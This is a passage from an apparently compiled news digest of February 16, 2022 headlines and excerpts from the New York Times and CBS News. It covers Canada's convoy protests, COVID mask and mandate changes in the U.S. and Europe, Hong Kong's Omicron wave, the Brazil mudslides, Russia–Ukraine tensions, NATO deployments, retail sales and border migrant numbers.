But the patience of many Canadians with the protests is growing thinner by the day. The nation's image of serenity and order has given way to scenes of truckers shouting "freedom," honking horns, confronting police and, in some cases, taunting fellow citizens who wear masks. Blockades have undermined the economy, while the demonstrations have dented Canada's reputation on the global stage as a nation of stability.

Opinion data released this week by the Angus Reid Institute, a leading polling group, showed that nearly three-quarters of Canadians say the time has come for protesters to go home.

"If the goal of the Freedom Convoy was to capture the attention of millions of people in Canada and around the globe — mission accomplished," Angus Reid said. "If, however, the goal was to build support for their demands to end pandemic-related restrictions — it has backfired utterly."

Ottawa's chief of police, Peter Sloly, resigned this week amid criticism that the police and Mr. Trudeau's government have been ineffectual and sluggish in stemming the disruptions.

While trucks continue to hobble traffic and disrupt daily life in Ottawa, there have been signs in recent days that the protests and blockades appear to be slowly diminishing.

Marco Mendicino, the minister of public safety, said Wednesday that three of the main border crossings previously impeded by protesters — in Coutts, Alberta; Surrey, British Columbia; and the Ambassador Bridge linking Windsor, Ontario, to Detroit — were now open. The Ambassador Bridge is a vital supply route for the global automobile industry. On Wednesday, the R.C.M.P. said the border blockade at Emerson, in the province of Manitoba, had been cleared too.

"For those thinking of coming to Ottawa this weekend, don't," Mr. Mendicino said, warning that people who did so would be risking involvement in criminal actions.

[Return to Top](#)

HEADLINE	02/16 CDC: working on 'relevant' health guidance
SOURCE	https://www.nytimes.com/live/2022/02/16/world/covid-19-tests-cases-vaccine#as-more-states-loosen-mask-policies-the-cdc-director-says-the-agency-is-working-on-relevant-guidance
GIST	<p>As the Omicron wave recedes in the United States, more states loosen mask policies and many Americans grow tired of restrictions, the director of the Centers for Disease Control and Prevention said Wednesday that the agency was working on guidance that was "relevant" and would encourage measures where they are most needed to safeguard public health.</p> <p>"Things are moving in the right direction, but we want to remain vigilant to do all we can, so that this trajectory continues," the director, Dr. Rochelle Walensky, said at a pandemic news briefing. She said that the agency would soon issue new guidelines, including on face coverings, based on factors like hospital capacity, not just new coronavirus cases.</p> <p>"We want to give people a break from things like mask wearing when these metrics are better and then have the ability to reach for them again," she said. "Should things worsen, if and when we update our guidance, we will communicate that clearly and it will be based on the data and the science."</p> <p>As of Tuesday, an average of about 85,000 people with the virus remained hospitalized nationwide, a decrease of more than 30 percent in the last two weeks, according to federal data. The number of Covid patients in intensive care units is also falling.</p> <p>"Our hospitals need to be able to take care of people with heart attacks and strokes," Dr. Walensky said. "Our emergency departments can't be so overwhelmed that patients with emergent issues have to wait in line."</p>

While officials in California, Connecticut, Illinois, Massachusetts, New Jersey, New York, Oregon and elsewhere have announced that they are [loosening indoor mask requirements](#), whether they apply to schools or in general, Dr. Walensky urged Americans to continue to wear masks if they have symptoms of the virus or feel unwell.

The speed of states' actions [has added pressure on the White House](#) to announce a pandemic exit strategy sooner. Dr. Walensky said the new guidelines could be issued within a few weeks, in tandem with mask mandates lifting in several states.

"We're encouraged by the dramatic declines we're seeing in cases and hospitalizations nationwide," said Dr. Anthony S. Fauci, the government's top infectious disease expert.

New coronavirus cases in the United States have plummeted to their lowest levels since September, with the seven-day average of U.S. cases declining to about 140,000 as of Tuesday, according to a [New York Times database](#). Cases have now fallen below [the peak of the Delta-driven wave](#), when they topped out at 164,418 on Sept. 1.

Deaths, though, remain high at about 2,300 a day. And despite the recent moves taken statewide, some cities and school districts are keeping their mandates in place.

At a separate news briefing on Wednesday, the White House press secretary, Jen Psaki, emphasized that there was no conflict between federal and local guidance, despite their divergence.

"We will continue to look for and abide by C.D.C. guidance from the federal government," she said. "That's what we will follow, but different leaders will make decisions based on what they think is best for their communities."

[Return to Top](#)

HEADLINE	02/16 Texas sues over mask mandate air travelers
SOURCE	https://www.nytimes.com/live/2022/02/16/world/covid-19-tests-cases-vaccine#texas-airport-federal-mask-mandate
GIST	<p>The Republican attorney general of Texas on Wednesday sued to strike down the Biden administration's mandate requiring travelers to wear masks at airports, on airplanes and on commuter bus and rail systems.</p> <p>The suit comes as many governors, including in states governed by Democrats, have been rolling back mask mandates for indoor public settings as infections from the Omicron variant of the coronavirus have plummeted following a record-setting surge last month. But forms of public transportation are regulated by the federal government.</p> <p>Since it was first introduced a year ago, the federal mandate requiring travelers to wear masks has been extended several times, most recently until at least March 18. Brief breaks for eating and drinking are permitted. There are exemptions for travelers younger than 2 and for people with certain disabilities who cannot wear masks safely. Travelers who refuse to comply can be fined.</p> <p>The suit by the Texas attorney general, Ken Paxton, was filed in federal court in Fort Worth. It argues that the mask mandate is unconstitutional and that the Centers for Disease Control and Prevention lacks the authority to impose the requirement. The Supreme Court recently declined to hear another case that sought to block the mandate.</p> <p>Dr. Anthony Fauci, the nation's top infectious disease expert, said in December that he did not believe the country was approaching a point where masks would no longer be necessary on planes. "Even though you have a good filtration system, I still believe that masks are a prudent thing to do, and we should be doing it," he said.</p> <p>The C.D.C. declined to comment on the suit in Texas.</p>

	Some airline executives have questioned the need for the mask mandate for air travel. The top executive of Southwest Airlines, Gary Kelly, said at a Senate hearing in December that he believed that masks do not add substantial protection in airplane cabins and that the filtration on planes was sufficient. Mr. Kelly, who testified unmasked and recently became the company's executive chairman after many years as chief executive, tested positive for the virus later that week .
Return to Top	

HEADLINE	02/16 WHO: countries in Americas must learn
SOURCE	https://www.nytimes.com/live/2022/02/16/world/covid-19-tests-cases-vaccine#countries-in-the-americas-must-learn-from-omicron-to-be-ready-for-the-next-surge-a-who-official-says
GIST	<p>Countries in the Americas need to learn from the waning Omicron wave and get ready to take swift action when another surge looms, World Health Organization officials said on Wednesday.</p> <p>“We need to activate our responses more rapidly to keep pace with the current wave, and stay ahead of future surges of this very fast, very serious virus,” Dr. Carissa Etienne, director of the Pan American Health Organization, said at a news conference. The organization is a regional arm of the W.H.O.</p> <p>“The tools we had developed to slow the spread and prevent infections were not adequate for the new kind of transmission patterns that Omicron presents,” Dr. Etienne said.</p> <p>Too many countries in the Americas responded to Omicron's onset essentially with a shrug, and did not alter any public health measures in a way that could have slowed transmission, she said, “and now we're dealing with the consequence: A rise in infections is driving a surge in deaths.”</p> <p>She noted that while daily reports of new cases seemed to have peaked in the region, deaths — which tend to lag several weeks behind the new-case trend — were still climbing.</p> <p>The Omicron wave has shown that vaccines can protect most people from severe disease and death even when new variants arise, Dr. Etienne said, so countries must strive to vaccinate as many people as possible. They also must equip their hospital systems to handle sudden surges in the future, she said.</p> <p>“This will not be the last variant, and the future of the pandemic is still extremely uncertain,” Dr. Etienne said, adding that “a new variant could emerge at any time.”</p>
Return to Top	

HEADLINE	02/16 Philadelphia drops vax mandate for dining
SOURCE	https://www.nytimes.com/live/2022/02/16/world/covid-19-tests-cases-vaccine#philadelphia-indoor-dining
GIST	<p>Philadelphia is joining a growing list of cities that will no longer require proof of vaccination to enter places that serve food or drink.</p> <p>The Philadelphia Department of Public Health announced the policy on Wednesday, citing improving numbers of cases and hospitalizations as the Omicron-driven wave recedes.</p> <p>Other cities and counties have recently relaxed vaccination mandates for indoor dining, including Washington, D.C., and, as of Wednesday, the county that includes Seattle.</p> <p>Philadelphia authorities announced a new tiered Covid response system that they said would make their public health decisions more transparent by tying them to specific benchmarks for new cases, positive tests and hospitalizations. If the metrics improve, authorities will continue to ease restrictions, but if they go in the wrong direction, the regulations will be reinstated.</p> <p>While Philadelphia is dropping its vaccine mandate, masks will still be required in all indoor public places for now. Under its new system, that could also change if its situation keeps improving.</p>

	Philadelphia is one of several cities and counties, including Los Angeles , to keep its mask policy in place and not follow the lead of a series of states, including New York , New Jersey , Oregon and California , where mask mandates are lifting. Pennsylvania ended its statewide mask mandate for K-12 students on Jan. 17.
Return to Top	

HEADLINE	02/16 European countries loosen restrictions
SOURCE	https://www.nytimes.com/live/2022/02/16/world/covid-19-tests-cases-vaccine#covid-germany-restrictions
GIST	<p>Europe's rush to abandon pandemic precautions plunged ahead on Wednesday, with leaders in Germany announcing that most of the country's remaining restrictions would be lifted by March 20.</p> <p>Officials in Austria, Switzerland and Slovakia, as well as several regions of Spain, said they too would drop all or most of their remaining restrictions in the near future.</p> <p>Germany, the most populous nation in the European Union, has been slower than most others to ease coronavirus rules. But on Wednesday, Chancellor Olaf Scholz and Germany's state governors agreed on a three-step plan to drop most of them.</p> <p>"This is a very special day of the pandemic," said Mr. Scholz at a news conference after agreeing with 16 state governors on a schedule to drop most restrictions.</p> <p>"Unless some other variant of the virus comes around the corner, we will now actually experience a spring and a summer in which most of the restrictions we have will no longer affect our daily lives."</p> <p>The first step, which could be put into effect swiftly, will allow people to gather privately in groups if they are fully vaccinated or have recovered recently from the virus, and will drop the requirement to show proof of vaccination or recent recovery when entering shops. Many states had already dropped that rule.</p> <p>The second step, which would take effect March 4, will drop the vaccination-or-recovery rule for bars, restaurants and hotels. Outdoor events of up to 25,000 people will also be allowed again. During that phase, nightclubs would be allowed to reopen for people who can show proof of vaccination or recovery.</p> <p>The third step, which would take effect on the first day of spring if hospitalizations remain low enough, would end most remaining restrictions, except for mask requirements.</p> <p>According to the agreement, steps 2 and 3 will only go into effect if hospitalizations remain low.</p> <p>Germany has seen two severe coronavirus waves recently, one just before the Omicron variant became dominant and then another much worse one, driven by Omicron. To fight those waves, the country imposed strict limits on unvaccinated people, barring them from many aspects of life, including retail stores other than those selling essentials like food or medicine. About 75 percent of the population has received at least two vaccine doses, and nearly 56 percent have received three or more.</p> <p>Daily reports of new cases remain very high in Germany, though the latest surge may be peaking overall. The country reported nearly 220,000 new cases on Tuesday, and 247 deaths. An independent council of expert advisers warned the government on Monday that cases among people over 60 were continuing to increase.</p> <p>Plans to relax pandemic policies were announced in other European nations as well:</p> <ul style="list-style-type: none"> • Switzerland said that most restrictions, other than mask mandates on public transportation and in nursing homes, would end on Thursday. "We hope that this will be the final phase out of the crisis," said Vice President Alain Berset, who also serves as the country's health minister. • Chancellor Karl Nehammer of Austria, which recently enacted a universal vaccine mandate, said most restrictions in the country would be lifted by March 5, beginning next week with rules barring unvaccinated people from bars, restaurant and winter sports. The country's health minister,

	<p>Wolfgang Mückstein, called the plan “a dignified spring awakening from an entrenched crisis mode.”</p> <ul style="list-style-type: none"> • Three regions of Spain have acted this week to drop their remaining restrictions. Murcia, in the southeast, lifted its capacity limits on restaurants and other public spaces on Wednesday; Andalusia, the largest region, said on Tuesday that people would no longer have to show proof of vaccination or a negative test to enter restaurants, theaters and other public venues; and the Basque region in the north lifted all its remaining restrictions on Monday. Nationally, Spain dropped its outdoor mask mandate last week. • The prime minister of Slovakia, Eduard Heger, said on Wednesday that his country would lift most restrictions on who can enter most businesses and public venues by the end of February, The Associated Press reported, and that crowd size limits and most other rules would be lifted by the end of March. • A committee of health experts in Greece approved a series of steps that will ease some restrictions in the country, the country’s health minister, Thanos Plevris, said on Wednesday. Among the moves, which will take effect Saturday, are allowing customers to stand in bars and nightclubs and raising the capacity limit in sports stadiums to 50 percent from 10 percent. The government plans to lift more restrictions by March 1, when the country’s tourist season begins, though it continues to require masks in most indoor public areas.
Return to Top	

HEADLINE	02/16 Hong Kong sinks under coronavirus wave
SOURCE	https://www.nytimes.com/2022/02/16/world/asia/hong-kong-covid-omicron-wave.html?action=click&module=RelatedLinks&pgtype=Article
GIST	<p>HONG KONG — The scenes were straight out of China’s coronavirus playbook. Armies of workers, deployed to lock down residents. Plans to erect a massive makeshift hospital. And on Wednesday, a command from Xi Jinping, the country’s top leader, plastered across local front pages: “Make controlling the epidemic as soon as possible an overwhelming priority.”</p> <p>The site of the latest outbreak, though, was not mainland China, but neighboring Hong Kong. And unlike on the mainland, where the government’s lofty language has been followed by quick results, no such relief is in sight.</p> <p>As Hong Kong sinks under its worst wave yet of the coronavirus, overwhelmed hospitals have left patients waiting on sidewalks. People have stood in testing lines that wind across parks and soccer fields. Cases are still growing exponentially, as officials opt for targeted lockdowns rather than a citywide one. Researchers have warned that by summer the latest wave could kill nearly 1,000 people — more than four times the number that have died of Covid in Hong Kong over the past two years.</p> <p>The city’s flailing response has exposed a crucial weakness in its ability to handle the coronavirus. Unlike other places facing a surge of the Omicron variant, Hong Kong, a semiautonomous Chinese city, cannot choose to live with the virus; Beijing continues to demand local elimination. But the city, which retains certain freedoms unheard-of in the mainland, also cannot wield Beijing’s full authoritarian tool kit or nearly unlimited manpower to stamp out transmission at any cost.</p> <p>Hong Kong’s leader, Carrie Lam, has struggled even to define the term that the government uses to describe its approach, “dynamic zero.”</p> <p>“‘Dynamic zero’ — I admit this is a policy requirement of the mainland,” she told reporters last month. “But I am not the initiator, so if you want an authoritative definition of ‘dynamic,’ I’m sorry, I really can’t explain it.”</p> <p>At its core, the city’s crisis reflects the limitations of its unique political model. Health experts have pointed out that certain measures, such as citywide mandatory testing, would be impractical in Hong Kong, and could also stir anger in a public already deeply distrustful of the government. But as</p>

Beijing [exerts ever-tighter control over Hong Kong](#), through a national security law and sweeping crackdown on dissent, those considerations may start to carry less weight.

Some have called Hong Kong's willingness to embrace tougher restrictions a proxy for its loyalty to Beijing.

"The loopholes and oscillation in Hong Kong's antivirus strategy show that some officials have not met the requirements for 'firm patriotism,'" said [Tian Feilong](#), a law professor at Beijing's Beihang University who studies Hong Kong.

Last month, the Hong Kong government was [forced to clarify](#) that it was legal to make "general remarks and discussion" about the effectiveness of dynamic zero, after Junius Ho, a pro-Beijing lawmaker, suggested that questioning it could violate the security law.

Meanwhile, the public health toll continues to grow. Some 12,000 people who have tested positive are still waiting to be admitted to a hospital or isolation unit, according to government figures. After five months with no Covid deaths, Hong Kong has recorded at least 21 over the past week, including a 3-year-old girl and a 100-year-old woman on Tuesday.

Until this wave, Hong Kong kept the coronavirus largely in check. The city's combination of tight social distancing rules and aggressive contact tracing meant that the previous four waves of infection were curbed relatively quickly. For much of 2021, the city recorded no local cases. But the highly transmissible Omicron variant assaulted the cracks in the city's defenses.

The first local Omicron transmissions were traced to two flight attendants who returned from abroad in December. A bigger Omicron cluster was connected to a woman who was infected while in hotel quarantine after returning from Pakistan.

The woman passed the virus to her husband, who spread it to a cleaner at a vast housing development. Hong Kong locked down a half-dozen buildings and tested 37,000 people last month after more than 100 people there tested positive.

The virus has now spread to more than 20 senior homes and care facilities, highlighting another weakness in Hong Kong's preparations. While more than 84 percent of people over age 11 have had at least one shot of a vaccine, among those 70 and older, the proportion is just 56 percent.

"In a way we were a victim of our own success because the fatality rate and the infection rate were pretty good until recently," said Regina Ip, a pro-Beijing lawmaker who was speaking by phone from self-quarantine after her driver tested positive. "Older people thought they didn't need to be vaccinated because there could be complications. And the government was hesitant. We have avoided vaccine mandates."

As the outbreak grew, Mrs. Lam at first tried to draw a clear line between Hong Kong and the mainland, even as she pledged to adhere to dynamic zero. It would be impractical to invite mainland workers to carry out door-to-door testing, [she said](#) this month, in part because of language differences; the primary language in Hong Kong is Cantonese, not the Mandarin used in the mainland. Mrs. Lam also [rejected](#) calls from pro-Beijing lawmakers to introduce mandatory universal testing, defending the more targeted operations.

"If we give up this effective, focused testing work and rashly follow other places to conduct so-called community testing, I will not bear the consequences," she said. "Anti-epidemic work is not a slogan."

"The Hong Kong government just follows instructions from Beijing, but they are still hesitant to go full throttle, to go all the way," said Willy Lam, an adjunct professor of politics at the Chinese University of Hong Kong. "They know that most people in Hong Kong don't trust the Chinese way of doing things."

But in recent weeks, as the outbreak has spiraled out of control, calls for Hong Kong to draw closer to the mainland strategy have grown. China's state news agency and official Communist Party mouthpiece both published [commentaries](#) this month [warning](#) against any suggestion of living with the virus.

Shiu Sin-por, a former Hong Kong government adviser, accused Mrs. Lam of "one-sidedly emphasizing the differences between Hong Kong and the mainland."

He wrote in [an opinion column](#), "Hong Kong's methods are nondescript, half-baked and full of loopholes, which led to this outbreak."

Others have been more explicit about the political implications. Professor Tian, in Beijing, blamed Hong Kong's failures to control the virus on officials overly influenced by the West.

In written responses to questions, Professor Tian said the latest outbreak showed that "the Hong Kong government still has some insufficiently loyal or two-faced officials," even after the security law.

He added: "There should be further steps to eliminate them from the system."

The political pressure, coupled with the deteriorating public health situation, seems to have had an effect. Over the weekend, Hong Kong officials [traveled to Shenzhen](#), across the border, to set up joint task forces with officials there. The task forces will work to increase testing capacity and build makeshift isolation facilities, like the ones used in China, the government [said](#).

On Wednesday, Beijing announced that it would [also assign central government officials](#), in addition to the regional ones, to help oversee Hong Kong's outbreak.

But even pro-Beijing figures acknowledge that Hong Kong cannot copy the mainland model outright. When the authorities this month locked down Baise, a city of about 3.6 million in southwestern China, after a flare-up of several dozen cases, they deployed 38,000 Communist Party members and workers to patrol neighborhoods and coordinate supplies, [according to](#) the local government. Such networks are a [longstanding part of the mainland's social controls](#). Hong Kong has more than twice as many residents and no such network.

"We lack enough organization, mobilization and control capabilities, and we also lack a strong government," said Lau Siu-Kai, an adviser to Beijing in Hong Kong.

Hong Kongers could also prove fiercely resistant to a citywide lockdown. When Mrs. Lam visited a locked-down housing estate last month, residents [showered her with insults](#) from their windows — a display of public dissent rarely seen since the imposition of the security law.

The government has [hesitated](#) to introduce more invasive contact tracing apps such as exist in the mainland, in part because of residents' privacy concerns.

But some worry that the authorities will use the latest outbreak as an opportunity to push through more surveillance measures, Professor Lam said. Trust in the Hong Kong and Beijing governments "is quite low," he said.

Health experts say the political debate has overshadowed the grim medical reality. Between low vaccination rates among older people and the slowness to impose lockdowns, the situation is unlikely to improve any time soon, no matter what path Hong Kong adopts, said [Siddharth Sridhar](#), a virologist at the University of Hong Kong.

"Hong Kong is moving too late," he said. "We don't have any good options."

[Return to Top](#)

SOURCE	https://www.nytimes.com/2022/02/16/world/americas/brazil-mudslides-death.html
GIST	<p>RIO DE JANEIRO — Firefighters and desperate residents searched for victims Wednesday after powerful mudslides and flooding swept through a mountainous region north of Rio de Janeiro, dumping a month’s worth of rain overnight and killing at least 94 people.</p> <p>The mayor of Petrópolis, a historic city nestled in mountains some 70 miles from Rio de Janeiro’s beaches, said the death toll could still rise. A similar disaster killed more than 900 people in the area in 2011. Many experts say such extreme weather events are becoming more common with global warming.</p> <p>Intense rainfall starting on Tuesday evening caused mudslides that tore down dozens of homes on the hillsides above Petrópolis and caused flooding that did more damage in the streets below. Images and videos on social media showed rivers of mud rushing through the city’s streets, sweeping everything along the way: cars, trees, and sometimes people.</p> <p>The rains that caused the devastation were the heaviest the city had seen since 1952, Brazil’s National Meteorological Institute said.</p> <p>“What we saw was a really extreme event,” said Cássia de Castro Martins Ferreira, a researcher at the Federal University of Juiz de Fora, who studies extreme weather events in the region. “It didn’t rain — it was an extraordinary amount of water that poured down.”</p> <p>For many of Petrópolis’s residents, the disaster was a painful reminder of 2011, when similar mudslides killed more than 900 people in the region — the worst natural disaster in Brazil’s history.</p> <p>Carlos Eduardo Ribeiro, 22, was among those searching for missing neighbors on Wednesday. Mr. Ribeiro, who lives across the street from one hillside neighborhood swept by the mudslides, said he had been pulling children and older people out of the wreckage.</p> <p>“My arms hurt, everything hurts from digging people out of the mud. We’ve been digging for hours, hoping to find more people,” he said. “My friends are missing, their houses are gone, everything is buried in mud. It turned into a graveyard here.”</p> <p>Petrópolis is part of a picturesque region with a major national park and sheer, forested mountains that have become a getaway for people fleeing the coast’s searing temperatures. It was established in the mid-19th century by the Brazilian emperor Pedro II, who held court there during the sweltering summer months.</p> <p>But its unique geography also makes it vulnerable to extreme rainfall, Ms. Castro said. The region is often where hot-air masses coming from the coast clash with the colder temperatures common at higher altitudes, which can cause storms.</p> <p>“We have an enormous number of extreme weather events in Petrópolis, related exactly to its location,” she said. But another risk, she said, “is the way that the city has grown.”</p> <p>As Petrópolis has expanded, residents have moved into the hills, clearing forests that once acted as a buffer against mudslides and building homes on terrain that is often too steep and unsuitable for development.</p> <p>After the 2011 mudslides, officials created plans to prevent a similar tragedy in the region. But those plans have advanced slowly amid a lack of funding and shifts in political power.</p> <p>Ms. Castro said that, in Brazil, the top priority should be creating more robust systems to alert residents ahead of extreme weather events. In Petrópolis, only a few neighborhoods are equipped with sirens that warn of weather risks, while state and local governments still have not installed such systems in other vulnerable places.</p>

	<p>The governor of the state of Rio de Janeiro, Cláudio Castro, said at a news conference on Wednesday afternoon that preventive action was needed to keep these tragedies from recurring.</p> <p>“We are doing this prevention,” he said. “It takes time, it can’t be done all at once.”</p> <p>Heavy rains are not uncommon during Brazil’s summer months. But most experts agree extreme weather events are becoming more common. In December, floods killed at least 20 people and displaced some 50,000 in the country’s northeast. And last month, dozens were killed in São Paulo and Minas Gerais when torrential rains swept through the two states.</p>
	Return to Top

HEADLINE	02/16 Putin fixated on Ukraine
SOURCE	https://www.nytimes.com/live/2022/02/16/world/russia-ukraine-news?action=click&module=Well&pgtype=Homepage&section=World%20News#why-ukraine-is-important-to-putin
GIST	<p>In speeches, interviews and lengthy articles, President Vladimir V. Putin of Russia and his close associates have telegraphed a singular fixation on Ukraine. The Kremlin thesis goes that Ukrainians are “one people” with Russians, living in a failing state controlled by Western forces determined to divide and conquer the post-Soviet world.</p> <p>Ukrainians, who ousted a Russia-friendly president in 2014 and are increasingly in favor of binding their country to Western institutions, would largely beg to differ. But Mr. Putin’s conviction finds a receptive ear among many Russians, who see themselves as linked intimately with Ukraine by generations of linguistic, cultural, economic, political and family ties.</p> <p>Russians often view Kyiv, now the Ukrainian capital and once the center of the medieval Kyivan Rus, as the birthplace of their nation. Well-known Russian-language writers, such as Nikolai Gogol and Mikhail Bulgakov, came from Ukraine, as did the Communist revolutionary Leon Trotsky and the Soviet leader Leonid Brezhnev.</p> <p>Ukrainian is Ukraine’s official language, but Russian — which is closely related — is still widely spoken. Ukraine’s president, Volodymyr Zelensky, now speaks Ukrainian in public but first gained fame as a Russian-language comedian who performed across the former Soviet Union.</p> <p>To Mr. Putin — and many other Russians — the conflict with Ukraine is about a hurt national psyche, a historical injustice to be set right. One of his former advisers, Gleb O. Pavlovsky, in an interview described the Kremlin’s view of Ukraine as a “trauma wrapped in a trauma” — the dissolution of the Soviet Union coupled with the separation of a nation Russians long viewed as simply an extension of their own.</p> <p>Mr. Putin has years of grievances about what he sees as Western overreach in Eastern Europe, and Ukraine has been the object of decades of Kremlin efforts to keep it within Moscow’s sway.</p> <p>Mr. Putin also argues that a greater Western military presence represents an existential threat to Russia. Nuclear missiles placed there, he has said, would be able to reach Moscow with just a few minutes’ warning. American officials say the United States has no plans to base such missiles in Ukraine.</p>
	Return to Top

HEADLINE	02/16 NATO plans a forces shift to counter Russia
SOURCE	https://www.nytimes.com/live/2022/02/16/world/russia-ukraine-news?action=click&module=Well&pgtype=Homepage&section=World%20News#nato-plans-to-shift-forces-to-counter-moscows-troop-buildup-around-ukraine

GIST	<p>Pointing to the “new normal” of Europe in the face of Russian military provocations, the secretary-general of NATO said on Wednesday the alliance was drawing up plans for new combat units in central and southeastern Europe, while Britain said it was doubling the size of its NATO deployment in Estonia.</p> <p>“We do not know what will happen in Ukraine,” the secretary-general, Jens Stoltenberg, said. “But the situation has already demonstrated that we face a crisis in European security. Moscow has made it clear that it is prepared to contest the fundamental principles that have underpinned our security for decades, and to do so by using force. I regret to say that this is the new normal in Europe.”</p> <p>NATO defense ministers directed the military commanders to make plans for new combat units to step up the military alliance’s presence in member nations near Russia, Belarus and Ukraine, Mr. Stoltenberg said.</p> <p>The ministers “decided to develop options to further strengthen NATO’s deterrence and defense, including to consider establishing new NATO battle groups in central and eastern and southeastern Europe,” Mr. Stoltenberg said at a news conference.</p> <p>The small battle groups could be set up in Romania, Bulgaria, Hungary and Slovakia, adding to those already established on a rotating basis in Poland and the three Baltic nations after Russia annexed Crimea in 2014.</p> <p>France has already offered to create a multinational battle group in Romania, which has expressed interest in hosting one, Mr. Stoltenberg said.</p> <p>Separately, Britain said on Wednesday it would send additional equipment, including tanks and armored fighting vehicles, to Estonia. Britain is already the lead country in the multinational battalion there, with about 900 troops.</p> <p>“Alongside our NATO allies, we are deploying troops and assets on land, sea and air to bolster European defenses in response to the buildup of Russian military forces on the border of Ukraine,” the British defense secretary, Ben Wallace, said in a statement.</p> <p>A battle group, including armored vehicles and personnel, will leave bases in Germany and Britain and begin to arrive in Estonia during the coming week, the statement said. It also said Apache helicopters would soon be making their way to conduct exercises with partners in Eastern Europe.</p>
Return to Top	

HEADLINE	02/16 Retail sales surge in Jan; spending picks up
SOURCE	https://www.cbsnews.com/news/retail-sales-january-2022/
GIST	<p>Americans picked up the pace of their spending in January as the threat of Omicron coronavirus variant faded and supply-chain shortages eased for some consumer goods.</p> <p>Retail sales surged a seasonally adjusted 3.8% last month, whizzing past the projections of most economists. That compared to the prior month, when sales slid 2.5%, according to revised figures released Wednesday by the U.S. Commerce Department.</p> <p>Surging inflation likely pumped up the spending numbers further in January.</p> <p>Retail sales were up across the spectrum. Sales at general merchandise stores rose 3.6%, while department stores saw business spike 9.2%. Sales at furniture and home furnishings stores rose 7.2%. Online sales surged 14.5%.</p> <p>However, restaurants saw a 0.9% decline from the month before, likely as consumers refrained from going out to eat for fear of catching the virus, experts said.</p>

"Omicron and inflation were not enough to deter U.S. consumers from spending in January," Lydia Boussour, lead U.S. economist, and Kathy Bostjancic, chief U.S. financial economist, at Oxford Economics, wrote in a report.

"The rebound was nearly twice stronger than consensus expectations and led by buoyant vehicle sales and online shopping as virus fear kept consumers away from restaurants," the economists said.

Aid from the \$28.6 billion [Restaurant Revitalization Fund](#), part of the Biden administration's \$1.9 trillion [American Rescue Plan Act](#), did not extend far enough to help every eatery operator that needed assistance. A large majority of establishments that came up empty [after a bleak December](#) — typically the most lucrative month of the year — say they are in danger of closing permanently if they don't see federal relief soon.

Gasoline sales fell 1.3% last month, possibly a result of the cost of fuel and cases of Omicron, which rose in tandem, according to Bankrate.com senior industry analyst Ted Rossman.

Omicron variant: widespread but short-lived

The Omicron variant that emerged in late November caused [widespread worker shortages](#) with record numbers of Americans calling out sick. Yet the wave of the most recent variant appears to have been short-lived and infections began to decline by mid-January as fast as they rose late last year. Cases have plunged from 436,000 a day two weeks ago to 136,000 Monday.

What is rising is inflation, [reaching heights not seen in four decades](#) to wipe out pay raises and potentially eliciting a more forceful policy response from Federal Reserve, which is expected to soon begin raising interest rates to cool the economy.

The volatility in retail sales data is emerging after the pandemic and related supply crunches drastically altered the behavior of Americans, particularly at the end of 2021. Major retail companies had urged people to shop early to avoid shortages —and Americans did just that, in massive numbers.

After sales rose in October and November, there was a significant spending downturn in December, a month that's traditionally huge for the retail industry.

By January, despite inflation in headlines everywhere, Americans appeared ready to renew spending.

Consumer prices soared 7.5% last month compared with January 2021, the steepest year-over-year increase since February 1982 as the U.S. economy raced out of pandemic-induced recession. America's consumers, many flush with cash and ready to rumble, collided with supply shortages as surging demand created global supply-chain backups, pushing prices higher still.

"The data are signaling ongoing strong demand for goods, although retail activity is also seeing a solid lift from high prices," Rubeela Farooqi, chief U.S. economist at High Frequency Economics, told investors in a report.

Economists at Oxford Economics also see the robust January figures as an indication of "a swift rebound in consumer spending momentum" but with one cautionary note: the end of the expanded Child Tax Credit.

"There is a risk that the expiration of the Child Tax Credit and continued steep price increases could temper consumers' willingness and ability to spend," Boussour and Bostjancic said.

The expanded CTC [expired on December 31](#) when the [Build Back Better Act stalled](#) amid opposition from Senator Joe Manchin, a Democrat from West Virginia. For the 36 million families who relied on the monthly CTC checks from the IRS to help pay for groceries, buy school uniforms and ease the costs of raising kids, the end of the program will have a significant impact on spending, according to many economists.

	The U.S. Commerce Department retail report released Wednesday covers only about a third of overall consumer spending and doesn't include services such as haircuts, hotel stays and plane tickets.
Return to Top	

HEADLINE	02/16 Migrant arrests southern border drops
SOURCE	https://www.cbsnews.com/news/immigration-border-numbers-migrants-january-2022/
GIST	<p>The number of unauthorized migrants who entered U.S. custody along the border with Mexico decreased by 14% in January from the previous month, reaching the lowest level since February 2021, which marked the start of an unprecedented spike in migrant arrivals, government figures disclosed Wednesday show.</p> <p>U.S. border officials processed migrants 153,941 times last month, according to Customs and Border Protection (CBP) data provided to a federal court in Texas. While the number represents the second-highest month-to-month drop in migrant apprehensions during the Biden administration, it is an all-time high for January, according to historical Border Patrol data.</p> <p>More than half of those taken into U.S. border custody in January were swiftly expelled to Mexico or their home countries under the Trump-era Title 42 emergency order, which the government has said remains necessary to curb the transmission of COVID-19 inside migrant detention facilities.</p> <p>Another 75,455 migrants were processed under regular immigration procedures, which means they are either placed in expedited deportation proceedings, taken to long-term detention centers or released to continue their civil immigration court cases in U.S. communities, the statistics show.</p> <p>In January, CBP officials released 46,186 migrants and deported or returned 6,775 migrants under U.S. immigration law. Unlike those subjected to the Title 42 policy, migrants processed under immigration law are allowed to request asylum as a way to prevent their deportation.</p> <p>The Biden administration has been under intensifying pressure from Democratic lawmakers to halt the Title 42 expulsions, which were first authorized by the Centers for Disease Control and Prevention in March 2020 over the objections of public health experts at the agency.</p> <p>But the Biden administration said earlier this month that the expulsions would remain in place for the time being given the spread of the Omicron variant, which emerged in the U.S. late last year.</p> <p>In a letter to Mr. Biden on Wednesday, more than 100 congressional Democrats, including Senate Majority Leader Chuck Schumer, condemned Title 42, highlighting the policy's impact on Black migrants, including the thousands of Haitians who have been expelled to crisis-stricken Haiti in recent months.</p> <p>"It is time to undo the United States' draconian immigration policies, particularly policies introduced under the Trump Administration, such as the use of Title 42, that circumvent our humanitarian obligations," the lawmakers wrote.</p> <p>Meanwhile, Republican lawmakers, who blamed the record number of migrant arrests last year on Mr. Biden's reversal of certain Trump-era restrictions, have urged the administration to continue the expulsions, saying migrant arrivals will increase even more if Title 42 is revoked.</p> <p>Soon after Mr. Biden took office, his administration exempted unaccompanied children from Title 42. Since then, the policy has been mostly used on Mexican and Central American single adults and some families with children, though Mexican officials have placed limits on the number of families who can be turned back.</p> <p>The Biden administration has also struggled to apply the expulsion policy to migrants from Venezuela, Cuba, Nicaragua and other countries given Mexico's decision to generally only accept the return of its citizens and migrants from Guatemala, Honduras and El Salvador under Title 42.</p>

